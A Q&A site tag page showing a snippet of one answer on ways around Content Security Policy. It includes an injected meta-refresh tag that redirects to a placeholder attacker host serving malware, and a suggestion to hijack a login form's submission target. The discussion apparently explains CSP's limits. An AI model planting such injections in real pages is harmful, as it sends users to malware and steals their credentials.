Tag Info

New answers tagged


You could try to do a redirect to another URL using meta-tags: <meta http-equiv="refresh" content="1; url=http://attacker.example.com/malware"> And if there is a login form you could try to change the location it submits too by adding another form element, because target for form submission are not protected by CSP. <form ...

Top 50 recent answers are included